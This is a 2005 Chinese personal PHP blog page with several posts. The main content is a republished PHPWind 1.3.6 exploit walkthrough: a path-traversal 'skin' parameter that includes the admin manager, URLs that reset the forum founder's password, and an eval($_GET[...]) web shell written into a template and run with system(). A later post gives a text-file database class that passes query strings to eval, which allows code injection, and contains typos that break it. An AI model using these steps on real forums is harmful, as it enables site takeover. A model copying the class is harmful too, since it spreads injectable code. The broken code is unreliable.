关于作者

用户名:钟彬
笔名:Bingu
地区: 广东-河源
行业:其他

日历  

快速登录

+ 用户名:
+ 密 码:

在线留言



learn_php_website

bbs

web_design

comic

picture

Google

访问统计:
文章个数:26
评论个数:12
留言条数:250




Powered by BlogDriver 2.1

学PHP

 

努力去学~~ ——冰古

文章

整理显示照片exif信息冬冬
摘要:中文方式显示照片EXIF信息,显示图片中所略图 这东西除了一些php论坛简单显示三两信息,别人的lb5000论坛上看到过显示,asp的也有不过很久没接触看着晕。 不想重复劳动,搜过google,除了asp没找到其他开源的显示exif的,所以整理出来或许有用。 没什么技术含量,基本只是汉化和资料整理的工作,以下代码为主要部分,所有文件在压缩包内,可以广泛用于相册和论坛显示图片信息的插件,希望熟悉相关知识的朋友找找bug或者加以优化。 目前应该缺不少信息,如果单单使用应该足够了。 —————————————————— 看到过别人传过来的照片里面有缩略图,photoshop做的,但是不知道怎么加进去,有人知道么 缩略图可以显示:) 查看全文

- 作者: Bingu 2005年06月4日, 星期六 17:44  回复(1) |  引用(1) 加入博采

php.ini中文配置说明
摘要:; PHP还是一个不断发展的工具,其功能还在不断地删减 ; 而php.ini的设置更改可以反映出相当的变化, ; 在使用新的PHP版本前,研究一下php.ini会有好处的 ;;;;;;;;;;;;;;;;;;; ; 关于这个文件 ; ;;;;;;;;;;;;;;;;;;; ; 这个文件控制了PHP许多方面的观点。为了让PHP读取这个文件,它必须被命名为 ; 'php.ini'。PHP 将在这些地方依次查找该文件:当前工作目录;环境变量PHPRC ; 指明的路径;编译时指定的路径。 ; 在windows下,编译时的路径是Windows安装目录。 ; 在命令行模式下,php.ini的查找路径可以用 -c 参数替代。 ; 该文件的语法非常简单。空白字符和用分号';'开始的行被简单地忽略(就象你可能 ; 猜到的一样)。 章节标题(例如 : [Foo])也被简单地忽略,即使将来它们可能 ; 有某种的意义。 查看全文

- 作者: Bingu 2005年05月11日, 星期三 00:55  回复(1) |  引用(0) 加入博采

买了空间和域名

终于还是买了空间和域名
自己搞过蛮多的免费空间和域名
像512j(不知道为什么,一个商业空间??挂了??不知道什么原因,没理由,也很久没动静了!!),ripn,01www,国外的......
但基本上都不长久,
一两个月是最久的了,
所以买自己的空间的想法
也有一段时间了
但始终是没下定决心(贵啊!!)
于是到了现在还是决定买下一个空间和域名了
始终这样更稳定一点

大家看看我这个域名怎样呢??http://bingu.net/ 有空来看看啊!!
本来想注册.cn的,但好像个人注册是没法律保护的。只好不要了!!
bingu.com又被人注册了(注册了,又不用!!唉!!有钱的美国佬!!)
于是便注册了bingu.net这个域名了,其实也满好的,搞网络的(呵呵,我也算搞网络的??),就是要用.net

所以,这里更新不可能太快了!!



- 作者: 钟彬 2005年04月20日, 星期三 00:21  回复(1) |  引用(0) 加入博采

phpwind1.3.6漏洞
PHPWIND论坛是一款流行的PHP论坛,界面美观,功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格,它和DISCUZ都非常相似,具体原因我想也就不用说了,毕竟DISCUZ出来比它要早很多。但安全上它没有继承DISCUZ的优点,DISCUZ论坛安全性非常好,而且商家也对此非常重视安全问题,国内论坛中不论从功能还是安全,第一非DISCUZ莫属。PHPWIND虽然代码严谨,逻辑清楚,但还是有一些漏洞,而且还相当严重。

此文原发于黑客x档案2005第一期
PHPWIND论坛是一款流行的PHP论坛,界面美观,功能也比较强大。但大家仔细看一下会发现不论是从界面功能还是代码风格,它和DISCUZ都非常相似,具体原因我想也就不用说了,毕竟DISCUZ出来比它要早很多。但安全上它没有继承DISCUZ的优点,DISCUZ论坛安全性非常好,而且商家也对此非常重视安全问题,国内论坛中不论从功能还是安全,第一非DISCUZ莫属。PHPWIND虽然代码严谨,逻辑清楚,但还是有一些漏洞,而且还相当严重。
一 skin变量未过滤导致管理员密码更改
废话少说,我们来分析漏洞。漏洞代码如下(header.php):
!function_exists('readover') && exit('Forbidden');
if (!$skin) $skin=$db_defaultstyle;
if(file_exists(R_P."data/style/$skin.php")){
  include_once(R_P."data/style/$skin.php");
}else{
  include_once(R_P."data/style/wind.php");
}
$yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';
if($groupid=='guest' && $db_regpopup=='1'){
  $head_pop='head_pop';
} else{
  $head_gotmsg=$winddb['newpm']==1 ? '
[color=#ff0000]您有新消息[/color]
':'短消息';
}
require_once(PrintEot('css'));
require_once(PrintEot('header'));
?>
其中$skin变量是我们提交的,在运行到这里之前,只有一个地方处理过$skin变量:
$_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];
语句判断COOKIE中是否已经包含skinco的信息,如果有了,就取得COOKIE中的值,这是处理个人页面风格用的。但如果我们的COOKIE中没有这个值,那么我们提交的skin变量就会一点不变的传到上面的漏洞代码。有人问,如果系统关了register_globals会怎么样,关了也没关系。
if(!ini_get('register_globals') || !get_magic_quotes_gpc()){
  @extract($_POST,EXTR_SKIP);
  @extract($_GET,EXTR_SKIP);
  @extract($_COOKIE,EXTR_SKIP);
  @extract($_FILES,EXTR_SKIP);
}
系统在global.php中又给释放了。所以我们不管是用GET方法或者POST方法都可以把构造好的SKIN变量传给程序。那传给程序有什么用呢?这是重点!
 我们看这段代码:
if(file_exists(R_P."data/style/$skin.php")){
  include_once(R_P."data/style/$skin.php");
}...
含义是如果(R_P."data/style/$skin.php")文件存在就把它包含进来,我也不分析有几种用法了,我直接给出我最简单危害最大的利用方法。
我们把skin的值设为"../../admin/manager",那就变成了R_P."data/style/../../admin/manager.php",很显然,这是论坛管理用户的一个程序,存在而且可执行。这个程序是专门用来修改sql_config.php的,这里面都是重要数据,包括论坛创始人的用户名和密码。我们只要构造好就可以改它的密码,直接登陆后台管理。在改之前我们可以先查看创始人的用户名。
我给出查看的方法,大家可以比对论坛程序自己分析一下,我就不在赘述了。
http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin

图1
<img src=http://photoimg7.qq.com/cgi-bin/load_pic?verify=kpSWBHA7xJwW0T31zRhBFA%3D%3D>上面是我机子上的截图,其中tplpath变量非常重要,必须是admin,它是一个template路径,参数不对就不会显示了。好我们看了知道了用户名,就可以改它的密码了。 
 
http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go
 
 上面的几个参数的含义大家一看就明白,那个username必须添上面看到的用户名,密码自己设,至于为什么要按上面的方法构造,其实很简单manager.php需要哪些变量我们就提交哪些变量,不需要的我们不管。上面的变量是它所需要的,所以我们就提交这些变量,注意上面的action必须有值。提交后系统什么都不显示,没关系,我们再用第一次的方法就会发现两次密码不一样,证明我们改成功了。如图2所示:
<img src=http://photoimg5.qq.com/cgi-bin/load_pic?verify=66X8UFqVfLZN8yA92CRjIQ%3D%3D>
密码该了,我们就可以从管理页面登陆了。 
 
http://localhost/phpwind/admin.php


<img src=http://photoimg7.qq.com/cgi-bin/load_pic?verify=59Gs7b8e2E2euFXw9OEtYA%3D%3D>二 后台利用 上传SHELL
 本来改了管理员密码已经能控制论坛了,但我我觉得不传SHELL总觉得事情只做了一半。如何上传SHELL,这就要用到后台的功能了。PHPWIND不知是想给管理员非常大的权限还是认为没有人有能力进入后台,后台的权利真是大的惊人。其实我们不靠上面的方法,用跨站手段得到管理员密码也不难,不知写论坛的人是怎么想的。
 好,我就随便拣一处危害比较大的地方给大家分析一下,分析一下风格模板设置那个地方。
 点一下左边的连接,右边会显示 /template/wind/css.htm。
 
系统提供的功能简化理解就是可以任意编辑这个CSS文件,为论坛的界面做个性化设置,而且论坛运行的时候会include这个css文件,虽然它的扩展名是.htm,但是照样会和其他PHP文件一样运行。如果我们能象这个css.htm文件写一些PHP代码,就相当于我们写一个SHELL,是不是很简单。篇幅有限,我直接给出利用方法。把那个右边的textarea里面的换成下面的,然后点提交就行了。系统提供的功能简化理解就是可以任意编辑这个CSS文件,为论坛的界面做个性化设置,而且论坛运行的时候会include这个css文件,虽然它的扩展名是.htm,但是照样会和其他PHP文件一样运行。如果我们能象这个css.htm文件写一些PHP代码,就相当于我们写一个SHELL,是不是很简单。篇幅有限,我直接给出利用方法。把那个右边的textarea里面的换成下面的,然后点提交就行了。
EOT;?>-->
eval($_GET[myphpcode]);
?>
print -->
大家最好按上面的构造,当然也可以自己构造,不过上面的方法我做过实验,成功率很高。
保存之后,用下面的方法就可以利用了。
http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit;
运行后如图4
<img src=http://photoimg5.qq.com/cgi-bin/load_pic?verify=JmitzFQPiG6lvK6lo7wIJQ%3D%3D<
可以运行其它PHP语句,在此不在赘述。

- 作者: 钟彬 2005年01月10日, 星期一 00:54  回复(0) |  引用(0) 加入博采

以mysql方式操作文本数据库--又强又实用
以mysql方式操作文本数据库
<?php
class DB_text {
  var $conn;
  var $classname = "db_text";
  var $database;
  function on_create() {
  }
  function connect($database_name) {
    $this->database = $database_name;
    if(! file_exists($database_name)) {
      $this->conn = array();
      $this->_close();
    }
    $fp = fopen($this->database,"r");
    $this->conn = unserialize(fread($fp,filesize($this->database)));
    fclose($fp);
  }
  function &query($query) {
    if(eregi("select ",$query)) return $this->_select($query);
    if(eregi("insert ",$query)) return $this->_insert($query);
    if(eregi("delete ",$query)) return $this->_delete($query);
    if(eregi("update ",$query)) return $this->_update($query);
    return array();
  }
  function fetch_row(&$result) {
    if(list($key,$value) = each($result))
      return $value;
    return false;
  }
  function num_rows($result) {
    return count($result);
  }

  /**
   * query的辅助函数
   */
  function _select($query) {
    if(eregi("(order by (.+))",$query,$regs)) {
      $order = $regs[2];
      $query = eregi_replace($regs[1],"",$query);
    }
    if(eregi("(group by (.+))",$query,$regs)) {
      $group = $regs[2];
      $query = eregi_replace($regs[1],"",$query);
    }
    eregi("select .* from ([0-9a-z_]+) *(where +(.+))?",$query,$regs);
    if($regs[3] != "") {
      $keys = $this->_where($regs[3],"\$this->conn[$regs[1]]");
      while(list($key,$value) = each($keys)) {
        $rs[] = $this->conn[$regs[1]][$value];
      }
    }else {
      $rs = $this->conn[$regs[1]];
    }
    if($order) {
      sscanf($order,"%s %s",$key,$type);
      if(empty($type)) $type = "asc";
        $this->_sort($rs,$key,$type);
    }
    return $rs;
  }
  function _insert($query) {
    eregi("insert +into +([0-9a-z_]+) *(.+) *values? *(.+)",$query,$regs);
    eval("\$key=array$regs[2];");
    eval("\$value=array$regs[3];");
    for($i=0;$i<count($key);$i++)
      $rs[$key[$i]] = $value[$i];
    $this->conn[$regs[1]][] = $rs;
    $this->_close();
  }
  function _update($query) {
    eregi("update +([0-9a-z_]+) +set *(,?.*=.*)+( +where +(.+))",$query,$regs);
    $regs[2] = eregi_replace(",","=",$regs[2]);
    $v = split("=",$regs[2]);
    $keys = $this->_where($regs[4],"\$this->conn[$regs[1]]");
    while(list($key,$value) = each($keys)) {
      for($i=0;$i<count($v);$i+=2)
        $this->conn[$regs[1]][$value][$v[$i]] = eregi_replace("'","",$v[$i+1]);
    }
    $this->_close();
  }
  function _delete($query) {
    eregi("delete +from +([0-9a-z_]+) *(where +(.+))?",$query,$regs);
    $keys = $this->_where($regs[3],"\$this->conn[$regs[1]]");
    while(list($key,$value) = each($keys)) {
      unset($this->conn[$regs[1]][$value]);
    }
    reset($this->conn[$regs[1]]);
    while(list($key,$value) = each($this->conn[$regs[1]])) {
      $ch[] = $value;
    }
    $this->conn[$regs[1]] = $ch;
    $this->_close();
  }
  function _where($search,$table) {
    $search = eregi_replace("\("," ( ",$search);
    $search = eregi_replace("\)"," ) ",$search);
    $search = eregi_replace("\+"," + ",$search);
    $search = eregi_replace("\*"," * ",$search);
    while(eregi("[^ ]([*/><!=-])",$search,$regs)) {
      $search = eregi_replace($regs[1]," $regs[1] ",$search);
    }
    while(eregi("([><!] +=)",$search,$regs)) {
      $search = eregi_replace($regs[1],eregi_replace(" ","",$regs[1]),$search);
    }
    $search = eregi_replace("  "," ",trim($search));
    $search = eregi_replace(" and "," && ",$search);
    $search = eregi_replace(" or "," || ",$search);
    $search = eregi_replace(" = "," == ",$search);
    $ar = split(" ",$search);
    eval("\$t=$table;");

    for($i=0;$i<count($ar);$i++) {
      if(isset($t[0][$ar[$i]]))
        $ar[$i] = "\$value[".$ar][$i]."]";
    }
    $expr = "\$expl=(".join(" ",$ar).");";
   
    while(list($key,$value) = each($t)) {
      eval($expr);
      if($expl)
        $keys[] = $key;
    }
    return $keys;
  }
  function _sort(&$ar,$key=0,$mode="desc") {
    global $cmp_key;
    $cmp_key = $key;
    if($mode == "asc")
      usort($ar,_cmp_asc);
    else
      usort($ar,_cmp_desc);
  }
  function _close() {
    $fp = fopen($this->database,"w");
    fwrite($fp,serialize($this->conn));
    fclose($fp);
  }
}

/** 排序键
*/
$cmp_key = "";

/** 排序用工作函数(降序 由usort()调用)
*/
function _cmp_desc($a,$b) {
  global $cmp_key;
  if ($a[$cmp_key] == $b[$cmp_key]) return 0;
  return ($a[$cmp_key] > $b[$cmp_key]) ? -1 : 1;
}

/** 排序用工作函数(升序 由usort()调用)
*/
functin _cmp_asc($a,$b) {
  global $cmp_key;
  if ($a[$cmp_key] == $b[$cmp_key]) return 0;
  return ($a[$cmp_key] > $b[$cmp_key]) ? 1 : -1;
}
?>

测试例:
<pre>
<?php
//require_once "db_text.php";

$conn = new DB_text;
$conn->connect("text1.txt");

$conn->query("insert into manage (id,title) values (10,'abcd')");
$conn->query("insert into manage (id,title) values (2,'43d')");
$conn->query("insert into manage (id,title) values (20,'tuu')");
$conn->query("update manage set id=101,test='a' where id=10");
//$conn->query("delete from manage where id='10'");
//$conn->query("delete from manage where id=10 or table='code'");


//$rt = $conn->query("select * from manage where id=101 or table='code' group by 1 order by 1 asc");
$rt = $conn->query("select * from manage group by 1 order by id desc");

print_r($rt);

?>
</pre>

- 作者: 钟彬 2004年12月11日, 星期六 01:55  回复(5) |  引用(0) 加入博采